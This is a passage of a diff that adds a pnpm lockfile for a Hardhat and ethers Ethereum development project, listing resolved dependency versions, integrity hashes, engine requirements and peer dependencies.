+        version: 3.0.5(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-foundry':
+        specifier: ^1.1.1
+        version: 1.1.1(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-ignition':
+        specifier: ^0.15.1
+        version: 0.15.1(@nomicfoundation/hardhat-verify@2.0.6(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)))(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))
+      '@nomicfoundation/hardhat-toolbox':
+        specifier: ^5.0.0
+        version: 5.0.0(agyzfug5ewz7vgn6jqipftqd3m)
+      '@typechain/hardhat':
+        specifier: ^9.1.0
+        version: 9.1.0(@typechain/ethers-v6@0.5.1(ethers@6.12.0)(typechain@8.3.2(typescript@5.4.5))(typescript@5.4.5))(ethers@6.12.0)(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5))(typechain@8.3.2(typescript@5.4.5))
+      ethers:
+        specifier: ^6.12.0
+        version: 6.12.0
+      hardhat:
+        specifier: ^2.22.3
+        version: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      typechain:
+        specifier: ^8.3.2
+        version: 8.3.2(typescript@5.4.5)
+
+packages:
+
+  '@adraffy/ens-normalize@1.10.1':
+    resolution: {integrity: sha512-96Z2IP3mYmF1Xg2cDm8f1gWGf/HUVedQ3FMifV4kG/PQ4yEP51xDtRAEfhVNt5f/uzpNkZHwWQuUcu6D6K+Ekw==}
+
+  '@cspotcode/source-map-support@0.8.1':
+    resolution: {integrity: sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==}
+    engines: {node: '>=12'}
+
+  '@ethereumjs/rlp@4.0.1':
+    resolution: {integrity: sha512-tqsQiBQDQdmPWE1xkkBq4rlSW5QZpLOUJ5RJh2/9fug+q9tnUhuZoVLk7s0scUIKTOzEtR72DFBXI4WiZcMpvw==}
+    engines: {node: '>=14'}
+    hasBin: true
+
+  '@ethereumjs/util@8.1.0':
+    resolution: {integrity: sha512-zQ0IqbdX8FZ9aw11vP+dZkKDkS+kgIvQPHnSAXzP9pLu+Rfu3D3XEeLbicvoXJTYnhZiPmsZUxgdzXwNKxRPbA==}
+    engines: {node: '>=14'}
+
+  '@ethersproject/abi@5.7.0':
+    resolution: {integrity: sha512-351ktp42TiRcYB3H1OP8yajPeAQstMW/yCFokj/AthP9bLHzQFPlOrxOcwYEDkUAICmOHljvN4K39OMTMUa9RA==}
+
+  '@ethersproject/abstract-provider@5.7.0':
+    resolution: {integrity: sha512-R41c9UkchKCpAqStMYUpdunjo3pkEvZC3FAwZn5S5MGbXoMQOHIdHItezTETxAO5bevtMApSyEhn9+CHcDsWBw==}
+
+  '@ethersproject/abstract-signer@5.7.0':
+    resolution: {integrity: sha512-a16V8bq1/Cz+TGCkE2OPMTOUDLS3grCpdjoJCYNnVBbdYEMSgKrU0+B90s8b6H+ByYTBZN7a3g76jdIJi7UfKQ==}
+
+  '@ethersproject/address@5.6.1':
+    resolution: {integrity: sha512-uOgF0kS5MJv9ZvCz7x6T2EXJSzotiybApn4XlOgoTX0xdtyVIJ7pF+6cGPxiEq/dpBiTfMiw7Yc81JcwhSYA0Q==}
+
+  '@ethersproject/address@5.7.0':
+    resolution: {integrity: sha512-9wYhYt7aghVGo758POM5nqcOMaE168Q6aRLJZwUmiqSrAungkG74gSSeKEIR7ukixesdRZGPgVqme6vmxs1fkA==}
+
+  '@ethersproject/base64@5.7.0':
+    resolution: {integrity: sha512-Dr8tcHt2mEbsZr/mwTPIQAf3Ai0Bks/7gTw9dSqk1mQvhW3XvRlmDJr/4n+wg1JmCl16NZue17CDh8xb/vZ0sQ==}
+
+  '@ethersproject/basex@5.7.0':
+    resolution: {integrity: sha512-ywlh43GwZLv2Voc2gQVTKBoVQ1mti3d8HK5aMxsfu/nRDnMmNqaSJ3r3n85HBByT8OpoY96SXM1FogC533T4zw==}
+
+  '@ethersproject/bignumber@5.7.0':
+    resolution: {integrity: sha512-n1CAdIHRWjSucQO3MC1zPSVgV/6dy/fjL9pMrPP9peL+QxEg9wOsVqwD4+818B6LUEtaXzVHQiuivzRoxPxUGw==}
+
+  '@ethersproject/bytes@5.7.0':
+    resolution: {integrity: sha512-nsbxwgFXWh9NyYWo+U8atvmMsSdKJprTcICAkvbBffT75qDocbuggBU0SJiVK2MuTrp0q+xvLkTnGMPK1+uA9A==}
+
+  '@ethersproject/constants@5.7.0':
+    resolution: {integrity: sha512-DHI+y5dBNvkpYUMiRQyxRBYBefZkJfo70VUkUAsRjcPs47muV9evftfZ0PJVCXYbAiCgght0DtcF9srFQmIgWA==}
+
+  '@ethersproject/contracts@5.7.0':
+    resolution: {integrity: sha512-5GJbzEU3X+d33CdfPhcyS+z8MzsTrBGk/sc+G+59+tPa9yFkl6HQ9D6L0QMgNTA9q8dT0XKxxkyp883XsQvbbg==}
+
+  '@ethersproject/hash@5.7.0':
+    resolution: {integrity: sha512-qX5WrQfnah1EFnO5zJv1v46a8HW0+E5xuBBDTwMFZLuVTx0tbU2kkx15NqdjxecrLGatQN9FGQKpb1FKdHCt+g==}
+
+  '@ethersproject/hdnode@5.7.0':
+    resolution: {integrity: sha512-OmyYo9EENBPPf4ERhR7oj6uAtUAhYGqOnIS+jE5pTXvdKBS99ikzq1E7Iv0ZQZ5V36Lqx1qZLeak0Ra16qpeOg==}
+
+  '@ethersproject/json-wallets@5.7.0':
+    resolution: {integrity: sha512-8oee5Xgu6+RKgJTkvEMl2wDgSPSAQ9MB/3JYjFV9jlKvcYHUXZC+cQp0njgmxdHkYWn8s6/IqIZYm0YWCjO/0g==}
+
+  '@ethersproject/keccak256@5.7.0':
+    resolution: {integrity: sha512-2UcPboeL/iW+pSg6vZ6ydF8tCnv3Iu/8tUmLLzWWGzxWKFFqOBQFLo6uLUv6BDrLgCDfN28RJ/wtByx+jZ4KBg==}
+
+  '@ethersproject/logger@5.7.0':
+    resolution: {integrity: sha512-0odtFdXu/XHtjQXJYA3u9G0G8btm0ND5Cu8M7i5vhEcE8/HmF4Lbdqanwyv4uQTr2tx6b7fQRmgLrsnpQlmnig==}
+
+  '@ethersproject/networks@5.7.1':
+    resolution: {integrity: sha512-n/MufjFYv3yFcUyfhnXotyDlNdFb7onmkSy8aQERi2PjNcnWQ66xXxa3XlS8nCcA8aJKJjIIMNJTC7tu80GwpQ==}
+
+  '@ethersproject/pbkdf2@5.7.0':
+    resolution: {integrity: sha512-oR/dBRZR6GTyaofd86DehG72hY6NpAjhabkhxgr3X2FpJtJuodEl2auADWBZfhDHgVCbu3/H/Ocq2uC6dpNjjw==}
+
+  '@ethersproject/properties@5.7.0':
+    resolution: {integrity: sha512-J87jy8suntrAkIZtecpxEPxY//szqr1mlBaYlQ0r4RCaiD2hjheqF9s1LVE8vVuJCXisjIP+JgtK/Do54ej4Sw==}
+
+  '@ethersproject/providers@5.7.2':
+    resolution: {integrity: sha512-g34EWZ1WWAVgr4aptGlVBF8mhl3VWjv+8hoAnzStu8Ah22VHBsuGzP17eb6xDVRzw895G4W7vvx60lFFur/1Rg==}
+
+  '@ethersproject/random@5.7.0':
+    resolution: {integrity: sha512-19WjScqRA8IIeWclFme75VMXSBvi4e6InrUNuaR4s5pTF2qNhcGdCUwdxUVGtDDqC00sDLCO93jPQoDUH4HVmQ==}
+
+  '@ethersproject/rlp@5.7.0':
+    resolution: {integrity: sha512-rBxzX2vK8mVF7b0Tol44t5Tb8gomOHkj5guL+HhzQ1yBh/ydjGnpw6at+X6Iw0Kp3OzzzkcKp8N9r0W4kYSs9w==}
+
+  '@ethersproject/sha2@5.7.0':
+    resolution: {integrity: sha512-gKlH42riwb3KYp0reLsFTokByAKoJdgFCwI+CCiX/k+Jm2mbNs6oOaCjYQSlI1+XBVejwH2KrmCbMAT/GnRDQw==}
+
+  '@ethersproject/signing-key@5.7.0':
+    resolution: {integrity: sha512-MZdy2nL3wO0u7gkB4nA/pEf8lu1TlFswPNmy8AiYkfKTdO6eXBJyUdmHO/ehm/htHw9K/qF8ujnTyUAD+Ry54Q==}
+
+  '@ethersproject/solidity@5.7.0':
+    resolution: {integrity: sha512-HmabMd2Dt/raavyaGukF4XxizWKhKQ24DoLtdNbBmNKUOPqwjsKQSdV9GQtj9CBEea9DlzETlVER1gYeXXBGaA==}
+
+  '@ethersproject/strings@5.7.0':
+    resolution: {integrity: sha512-/9nu+lj0YswRNSH0NXYqrh8775XNyEdUQAuf3f+SmOrnVewcJ5SBNAjF7lpgehKi4abvNNXyf+HX86czCdJ8Mg==}
+
+  '@ethersproject/transactions@5.7.0':
+    resolution: {integrity: sha512-kmcNicCp1lp8qanMTC3RIikGgoJ80ztTyvtsFvCYpSCfkjhD0jZ2LOrnbcuxuToLIUYYf+4XwD1rP+B/erDIhQ==}
+
+  '@ethersproject/units@5.7.0':
+    resolution: {integrity: sha512-pD3xLMy3SJu9kG5xDGI7+xhTEmGXlEqXU4OfNapmfnxLVY4EMSSRp7j1k7eezutBPH7RBN/7QPnwR7hzNlEFeg==}
+
+  '@ethersproject/wallet@5.7.0':
+    resolution: {integrity: sha512-MhmXlJXEJFBFVKrDLB4ZdDzxcBxQ3rLyCkhNqVu3CDYvR97E+8r01UgrI+TI99Le+aYm/in/0vp86guJuM7FCA==}
+
+  '@ethersproject/web@5.7.1':
+    resolution: {integrity: sha512-Gueu8lSvyjBWL4cYsWsjh6MtMwM0+H4HvqFPZfB6dV8ctbP9zFAO73VG1cMWae0FLPCtz0peKPpZY8/ugJJX2w==}
+
+  '@ethersproject/wordlists@5.7.0':
+    resolution: {integrity: sha512-S2TFNJNfHWVHNE6cNDjbVlZ6MgE17MIxMbMg2zv3wn+3XSJGosL1m9ZVv3GXCf/2ymSsQ+hRI5IzoMJTG6aoVA==}
+
+  '@fastify/busboy@2.1.1':
+    resolution: {integrity: sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==}
+    engines: {node: '>=14'}
+
+  '@jridgewell/resolve-uri@3.1.2':
+    resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==}
+    engines: {node: '>=6.0.0'}
+
+  '@jridgewell/sourcemap-codec@1.4.15':
+    resolution: {integrity: sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==}
+
+  '@jridgewell/trace-mapping@0.3.9':
+    resolution: {integrity: sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==}
+
+  '@metamask/eth-sig-util@4.0.1':
+    resolution: {integrity: sha512-tghyZKLHZjcdlDqCA3gNZmLeR0XvOE9U1qoQO9ohyAZT6Pya+H9vkBPcsyXytmYLNgVoin7CKCmweo/R43V+tQ==}
+    engines: {node: '>=12.0.0'}
+
+  '@noble/curves@1.2.0':
+    resolution: {integrity: sha512-oYclrNgRaM9SsBUBVbb8M6DTV7ZHRTKugureoYEncY5c65HOmRzvSiTE3y5CYaPYJA/GVkrhXEoF0M3Ya9PMnw==}
+
+  '@noble/curves@1.3.0':
+    resolution: {integrity: sha512-t01iSXPuN+Eqzb4eBX0S5oubSqXbK/xXa1Ne18Hj8f9pStxztHCE2gfboSp/dZRLSqfuLpRK2nDXDK+W9puocA==}
+
+  '@noble/hashes@1.2.0':
+    resolution: {integrity: sha512-FZfhjEDbT5GRswV3C6uvLPHMiVD6lQBmpoX5+eSiPaMTXte/IKqI5dykDxzZB/WBeK/CDuQRBWarPdi3FNY2zQ==}
+
+  '@noble/hashes@1.3.2':
+    resolution: {integrity: sha512-MVC8EAQp7MvEcm30KWENFjgR+Mkmf+D189XJTkFIlwohU5hcBbn1ZkKq7KVTi2Hme3PMGF390DaL52beVrIihQ==}
+    engines: {node: '>= 16'}
+
+  '@noble/hashes@1.3.3':
+    resolution: {integrity: sha512-V7/fPHgl+jsVPXqqeOzT8egNj2iBIVt+ECeMMG8TdcnTikP3oaBtUVqpT/gYCR68aEBJSF+XbYUxStjbFMqIIA==}
+    engines: {node: '>= 16'}
+
+  '@noble/hashes@1.4.0':
+    resolution: {integrity: sha512-V1JJ1WTRUqHHrOSh597hURcMqVKVGL/ea3kv0gSnEdsEZ0/+VyPghM1lMNGc00z7CIQorSvbKpuJkxvuHbvdbg==}
+    engines: {node: '>= 16'}
+
+  '@noble/secp256k1@1.7.1':
+    resolution: {integrity: sha512-hOUk6AyBFmqVrv7k5WAw/LpszxVbj9gGN4JRkIX52fdFAj1UA61KXmZDvqVEm+pOyec3+fIeZB02LYa/pWOArw==}
+
+  '@nodelib/fs.scandir@2.1.5':
+    resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==}
+    engines: {node: '>= 8'}
+
+  '@nodelib/fs.stat@2.0.5':
+    resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==}
+    engines: {node: '>= 8'}
+
+  '@nodelib/fs.walk@1.2.8':
+    resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==}
+    engines: {node: '>= 8'}
+
+  '@nomicfoundation/edr-darwin-arm64@0.3.5':
+    resolution: {integrity: sha512-gIXUIiPMUy6roLHpNlxf15DumU7/YhffUf7XIB+WUjMecaySfTGyZsTGnCMJZqrDyiYqWPyPKwCV/2u/jqFAUg==}
+    engines: {node: '>= 18'}
+    cpu: [arm64]
+    os: [darwin]
+
+  '@nomicfoundation/edr-darwin-x64@0.3.5':
+    resolution: {integrity: sha512-0MrpOCXUK8gmplpYZ2Cy0holHEylvWoNeecFcrP2WJ5DLQzrB23U5JU2MvUzOJ7aL76Za1VXNBWi/UeTWdHM+w==}
+    engines: {node: '>= 18'}
+    cpu: [x64]
+    os: [darwin]
+
+  '@nomicfoundation/edr-linux-arm64-gnu@0.3.5':
+    resolution: {integrity: sha512-aw9f7AZMiY1dZFNePJGKho2k+nEgFgzUAyyukiKfSqUIMXoFXMf1U3Ujv848czrSq9c5XGcdDa2xnEf3daU3xg==}
+    engines: {node: '>= 18'}
+    cpu: [arm64]
+    os: [linux]
+
+  '@nomicfoundation/edr-linux-arm64-musl@0.3.5':
+    resolution: {integrity: sha512-cVFRQjyABBlsbDj+XTczYBfrCHprZ6YNzN8gGGSqAh+UGIJkAIRomK6ar27GyJLNx3HkgbuDoi/9kA0zOo/95w==}
+    engines: {node: '>= 18'}
+    cpu: [arm64]
+    os: [linux]
+
+  '@nomicfoundation/edr-linux-x64-gnu@0.3.5':
+    resolution: {integrity: sha512-CjOg85DfR1Vt0fQWn5U0qi26DATK9tVzo3YOZEyI0JBsnqvk43fUTPv3uUAWBrPIRg5O5kOc9xG13hSpCBBxBg==}
+    engines: {node: '>= 18'}
+    cpu: [x64]
+    os: [linux]
+
+  '@nomicfoundation/edr-linux-x64-musl@0.3.5':
+    resolution: {integrity: sha512-hvX8bBGpBydAVevzK8jsu2FlqVZK1RrCyTX6wGHnltgMuBaoGLHYtNHiFpteOaJw2byYMiORc2bvj+98LhJ0Ew==}
+    engines: {node: '>= 18'}
+    cpu: [x64]
+    os: [linux]
+
+  '@nomicfoundation/edr-win32-x64-msvc@0.3.5':
+    resolution: {integrity: sha512-IJXjW13DY5UPsx/eG5DGfXtJ7Ydwrvw/BTZ2Y93lRLHzszVpSmeVmlxjZP5IW2afTSgMLaAAsqNw4NhppRGN8A==}
+    engines: {node: '>= 18'}
+    cpu: [x64]
+    os: [win32]
+
+  '@nomicfoundation/edr@0.3.5':
+    resolution: {integrity: sha512-dPSM9DuI1sr71gqWUMgLo8MjHQWO4+WNDm3iWaT6P4vUFJReZX5qwA5X+3UwIPBry8GvNY084u7yWUvB3/8rqA==}
+    engines: {node: '>= 18'}
+
+  '@nomicfoundation/ethereumjs-common@4.0.4':
+    resolution: {integrity: sha512-9Rgb658lcWsjiicr5GzNCjI1llow/7r0k50dLL95OJ+6iZJcVbi15r3Y0xh2cIO+zgX0WIHcbzIu6FeQf9KPrg==}
+
+  '@nomicfoundation/ethereumjs-rlp@5.0.4':
+    resolution: {integrity: sha512-8H1S3s8F6QueOc/X92SdrA4RDenpiAEqMg5vJH99kcQaCy/a3Q6fgseo75mgWlbanGJXSlAPtnCeG9jvfTYXlw==}
+    engines: {node: '>=18'}
+    hasBin: true
+
+  '@nomicfoundation/ethereumjs-tx@5.0.4':
+    resolution: {integrity: sha512-Xjv8wAKJGMrP1f0n2PeyfFCCojHd7iS3s/Ab7qzF1S64kxZ8Z22LCMynArYsVqiFx6rzYy548HNVEyI+AYN/kw==}
+    engines: {node: '>=18'}
+    peerDependencies:
+      c-kzg: ^2.1.2
+    peerDependenciesMeta:
+      c-kzg:
+        optional: true
+
+  '@nomicfoundation/ethereumjs-util@9.0.4':
+    resolution: {integrity: sha512-sLOzjnSrlx9Bb9EFNtHzK/FJFsfg2re6bsGqinFinH1gCqVfz9YYlXiMWwDM4C/L4ywuHFCYwfKTVr/QHQcU0Q==}
+    engines: {node: '>=18'}
+    peerDependencies:
+      c-kzg: ^2.1.2
+    peerDependenciesMeta:
+      c-kzg:
+        optional: true
+
+  '@nomicfoundation/hardhat-chai-matchers@2.0.6':
+    resolution: {integrity: sha512-Te1Uyo9oJcTCF0Jy9dztaLpshmlpjLf2yPtWXlXuLjMt3RRSmJLm/+rKVTW6gfadAEs12U/it6D0ZRnnRGiICQ==}
+    peerDependencies:
+      '@nomicfoundation/hardhat-ethers': ^3.0.0
+      chai: ^4.2.0
+      ethers: ^6.1.0
+      hardhat: ^2.9.4
+
+  '@nomicfoundation/hardhat-ethers@3.0.5':
+    resolution: {integrity: sha512-RNFe8OtbZK6Ila9kIlHp0+S80/0Bu/3p41HUpaRIoHLm6X3WekTd83vob3rE54Duufu1edCiBDxspBzi2rxHHw==}
+    peerDependencies:
+      ethers: ^6.1.0
+      hardhat: ^2.0.0
+
+  '@nomicfoundation/hardhat-foundry@1.1.1':
+    resolution: {integrity: sha512-cXGCBHAiXas9Pg9MhMOpBVQCkWRYoRFG7GJJAph+sdQsfd22iRs5U5Vs9XmpGEQd1yEvYISQZMeE68Nxj65iUQ==}
+    peerDependencies:
+      hardhat: ^2.17.2
+
+  '@nomicfoundation/hardhat-ignition-ethers@0.15.1':
+    resolution: {integrity: sha512-FPeE0EbJ+RcBGro9TxODyDffpSPhnG8ra43nJp7/1H2M0S+UkmJUeZlSjAIVfUut1zMwy+57j+PNn07dOr/YmQ==}
+    peerDependencies:
+      '@nomicfoundation/hardhat-ethers': ^3.0.4
+      '@nomicfoundation/hardhat-ignition': ^0.15.1
+      '@nomicfoundation/ignition-core': ^0.15.1
+      ethers: ^6.7.0
+      hardhat: ^2.18.0
+
+  '@nomicfoundation/hardhat-ignition@0.15.1':
+    resolution: {integrity: sha512-hWV/W9ZdG9HIqUiQXexrwoBBGP4IrDLghlZPAXXEXETmJ2AVPnBKQG626YmAYgEk2G3vX9ojn16daT+H2i/mFA==}
+    peerDependencies:
+      '@nomicfoundation/hardhat-verify': ^2.0.1
+      hardhat: ^2.18.0
+
+  '@nomicfoundation/hardhat-network-helpers@1.0.10':
+    resolution: {integrity: sha512-R35/BMBlx7tWN5V6d/8/19QCwEmIdbnA4ZrsuXgvs8i2qFx5i7h6mH5pBS4Pwi4WigLH+upl6faYusrNPuzMrQ==}
+    peerDependencies:
+      hardhat: ^2.9.5
+
+  '@nomicfoundation/hardhat-toolbox@5.0.0':
+    resolution: {integrity: sha512-FnUtUC5PsakCbwiVNsqlXVIWG5JIb5CEZoSXbJUsEBun22Bivx2jhF1/q9iQbzuaGpJKFQyOhemPB2+XlEE6pQ==}
+    peerDependencies:
+      '@nomicfoundation/hardhat-chai-matchers': ^2.0.0
+      '@nomicfoundation/hardhat-ethers': ^3.0.0
+      '@nomicfoundation/hardhat-ignition-ethers': ^0.15.0
+      '@nomicfoundation/hardhat-network-helpers': ^1.0.0
+      '@nomicfoundation/hardhat-verify': ^2.0.0
+      '@typechain/ethers-v6': ^0.5.0
+      '@typechain/hardhat': ^9.0.0
+      '@types/chai': ^4.2.0
+      '@types/mocha': '>=9.1.0'
+      '@types/node': '>=18.0.0'
+      chai: ^4.2.0
+      ethers: ^6.4.0
+      hardhat: ^2.11.0
+      hardhat-gas-reporter: ^1.0.8
+      solidity-coverage: ^0.8.1
+      ts-node: '>=8.0.0'
+      typechain: ^8.3.0
+      typescript: '>=4.5.0'
+
+  '@nomicfoundation/hardhat-verify@2.0.6':
+    resolution: {integrity: sha512-oKUI5fl8QC8jysE2LUBHE6rObzEmccJcc4b43Ov7LFMlCBZJE27qoqGIsg/++wX7L8Jdga+bkejPxl8NvsecpQ==}
+    peerDependencies:
+      hardhat: ^2.0.4
+
+  '@nomicfoundation/ignition-core@0.15.1':
+    resolution: {integrity: sha512-/AZO0YHRv1+yQSOtSSbg4GEH9YhU8EVePSfByU2PZW2bsAK0SA8GdoLYFbVNl140dogem5lrE+bCKtX0eN/n+A==}
+
+  '@nomicfoundation/ignition-ui@0.15.1':
+    resolution: {integrity: sha512-ecx6M9K4IeF7L0XCcHg0E72zlVaGSOlkhb/9XuWrA2ltfB/e4ZsOhVxXtwDf9xIcaq7tUdMSxyj6Ld0bPAhxAw==}
+
+  '@nomicfoundation/solidity-analyzer-darwin-arm64@0.1.1':
+    resolution: {integrity: sha512-KcTodaQw8ivDZyF+D76FokN/HdpgGpfjc/gFCImdLUyqB6eSWVaZPazMbeAjmfhx3R0zm/NYVzxwAokFKgrc0w==}
+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [darwin]
+
+  '@nomicfoundation/solidity-analyzer-darwin-x64@0.1.1':
+    resolution: {integrity: sha512-XhQG4BaJE6cIbjAVtzGOGbK3sn1BO9W29uhk9J8y8fZF1DYz0Doj8QDMfpMu+A6TjPDs61lbsmeYodIDnfveSA==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [darwin]
+
+  '@nomicfoundation/solidity-analyzer-freebsd-x64@0.1.1':
+    resolution: {integrity: sha512-GHF1VKRdHW3G8CndkwdaeLkVBi5A9u2jwtlS7SLhBc8b5U/GcoL39Q+1CSO3hYqePNP+eV5YI7Zgm0ea6kMHoA==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [freebsd]
+
+  '@nomicfoundation/solidity-analyzer-linux-arm64-gnu@0.1.1':
+    resolution: {integrity: sha512-g4Cv2fO37ZsUENQ2vwPnZc2zRenHyAxHcyBjKcjaSmmkKrFr64yvzeNO8S3GBFCo90rfochLs99wFVGT/0owpg==}
+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [linux]
+
+  '@nomicfoundation/solidity-analyzer-linux-arm64-musl@0.1.1':
+    resolution: {integrity: sha512-WJ3CE5Oek25OGE3WwzK7oaopY8xMw9Lhb0mlYuJl/maZVo+WtP36XoQTb7bW/i8aAdHW5Z+BqrHMux23pvxG3w==}
+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [linux]
+
+  '@nomicfoundation/solidity-analyzer-linux-x64-gnu@0.1.1':
+    resolution: {integrity: sha512-5WN7leSr5fkUBBjE4f3wKENUy9HQStu7HmWqbtknfXkkil+eNWiBV275IOlpXku7v3uLsXTOKpnnGHJYI2qsdA==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [linux]
+
+  '@nomicfoundation/solidity-analyzer-linux-x64-musl@0.1.1':
+    resolution: {integrity: sha512-KdYMkJOq0SYPQMmErv/63CwGwMm5XHenEna9X9aB8mQmhDBrYrlAOSsIPgFCUSL0hjxE3xHP65/EPXR/InD2+w==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [linux]
+
+  '@nomicfoundation/solidity-analyzer-win32-arm64-msvc@0.1.1':
+    resolution: {integrity: sha512-VFZASBfl4qiBYwW5xeY20exWhmv6ww9sWu/krWSesv3q5hA0o1JuzmPHR4LPN6SUZj5vcqci0O6JOL8BPw+APg==}
+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [win32]
+
+  '@nomicfoundation/solidity-analyzer-win32-ia32-msvc@0.1.1':
+    resolution: {integrity: sha512-JnFkYuyCSA70j6Si6cS1A9Gh1aHTEb8kOTBApp/c7NRTFGNMH8eaInKlyuuiIbvYFhlXW4LicqyYuWNNq9hkpQ==}
+    engines: {node: '>= 10'}
+    cpu: [ia32]
+    os: [win32]
+
+  '@nomicfoundation/solidity-analyzer-win32-x64-msvc@0.1.1':
+    resolution: {integrity: sha512-HrVJr6+WjIXGnw3Q9u6KQcbZCtk0caVWhCdFADySvRyUxJ8PnzlaP+MhwNE8oyT8OZ6ejHBRrrgjSqDCFXGirw==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [win32]
+
+  '@nomicfoundation/solidity-analyzer@0.1.1':
+    resolution: {integrity: sha512-1LMtXj1puAxyFusBgUIy5pZk3073cNXYnXUpuNKFghHbIit/xZgbk0AokpUADbNm3gyD6bFWl3LRFh3dhVdREg==}
+    engines: {node: '>= 12'}
+
+  '@scure/base@1.1.6':
+    resolution: {integrity: sha512-ok9AWwhcgYuGG3Zfhyqg+zwl+Wn5uE+dwC0NV/2qQkx4dABbb/bx96vWu8NSj+BNjjSjno+JRYRjle1jV08k3g==}
+
+  '@scure/bip32@1.1.5':
+    resolution: {integrity: sha512-XyNh1rB0SkEqd3tXcXMi+Xe1fvg+kUIcoRIEujP1Jgv7DqW2r9lg3Ah0NkFaCs9sTkQAQA8kw7xiRXzENi9Rtw==}
+
+  '@scure/bip32@1.3.3':
+    resolution: {integrity: sha512-LJaN3HwRbfQK0X1xFSi0Q9amqOgzQnnDngIt+ZlsBC3Bm7/nE7K0kwshZHyaru79yIVRv/e1mQAjZyuZG6jOFQ==}
+
+  '@scure/bip39@1.1.1':
+    resolution: {integrity: sha512-t+wDck2rVkh65Hmv280fYdVdY25J9YeEUIgn2LG1WM6gxFkGzcksoDiUkWVpVp3Oex9xGC68JU2dSbUfwZ2jPg==}
+
+  '@scure/bip39@1.2.2':
+    resolution: {integrity: sha512-HYf9TUXG80beW+hGAt3TRM8wU6pQoYur9iNypTROm42dorCGmLnFe3eWjz3gOq6G62H2WRh0FCzAR1PI+29zIA==}
+
+  '@sentry/core@5.30.0':
+    resolution: {integrity: sha512-TmfrII8w1PQZSZgPpUESqjB+jC6MvZJZdLtE/0hZ+SrnKhW3x5WlYLvTXZpcWePYBku7rl2wn1RZu6uT0qCTeg==}
+    engines: {node: '>=6'}
+
+  '@sentry/hub@5.30.0':
+    resolution: {integrity: sha512-2tYrGnzb1gKz2EkMDQcfLrDTvmGcQPuWxLnJKXJvYTQDGLlEvi2tWz1VIHjunmOvJrB5aIQLhm+dcMRwFZDCqQ==}
+    engines: {node: '>=6'}
+
+  '@sentry/minimal@5.30.0':
+    resolution: {integrity: sha512-BwWb/owZKtkDX+Sc4zCSTNcvZUq7YcH3uAVlmh/gtR9rmUvbzAA3ewLuB3myi4wWRAMEtny6+J/FN/x+2wn9Xw==}
+    engines: {node: '>=6'}
+
+  '@sentry/node@5.30.0':
+    resolution: {integrity: sha512-Br5oyVBF0fZo6ZS9bxbJZG4ApAjRqAnqFFurMVJJdunNb80brh7a5Qva2kjhm+U6r9NJAB5OmDyPkA1Qnt+QVg==}
+    engines: {node: '>=6'}
+
+  '@sentry/tracing@5.30.0':
+    resolution: {integrity: sha512-dUFowCr0AIMwiLD7Fs314Mdzcug+gBVo/+NCMyDw8tFxJkwWAKl7Qa2OZxLQ0ZHjakcj1hNKfCQJ9rhyfOl4Aw==}
+    engines: {node: '>=6'}
+
+  '@sentry/types@5.30.0':
+    resolution: {integrity: sha512-R8xOqlSTZ+htqrfteCWU5Nk0CDN5ApUTvrlvBuiH1DyP6czDZ4ktbZB0hAgBlVcK0U+qpD3ag3Tqqpa5Q67rPw==}
+    engines: {node: '>=6'}
+
+  '@sentry/utils@5.30.0':
+    resolution: {integrity: sha512-zaYmoH0NWWtvnJjC9/CBseXMtKHm/tm40sz3YfJRxeQjyzRqNQPgivpd9R/oDJCYj999mzdW382p/qi2ypjLww==}
+    engines: {node: '>=6'}
+
+  '@solidity-parser/parser@0.14.5':
+    resolution: {integrity: sha512-6dKnHZn7fg/iQATVEzqyUOyEidbn05q7YA2mQ9hC0MMXhhV3/JrsxmFSYZAcr7j1yUP700LLhTruvJ3MiQmjJg==}
+
+  '@solidity-parser/parser@0.18.0':
+    resolution: {integrity: sha512-yfORGUIPgLck41qyN7nbwJRAx17/jAIXCTanHOJZhB6PJ1iAk/84b/xlsVKFSyNyLXIj0dhppoE0+CRws7wlzA==}
+
+  '@tsconfig/node10@1.0.11':
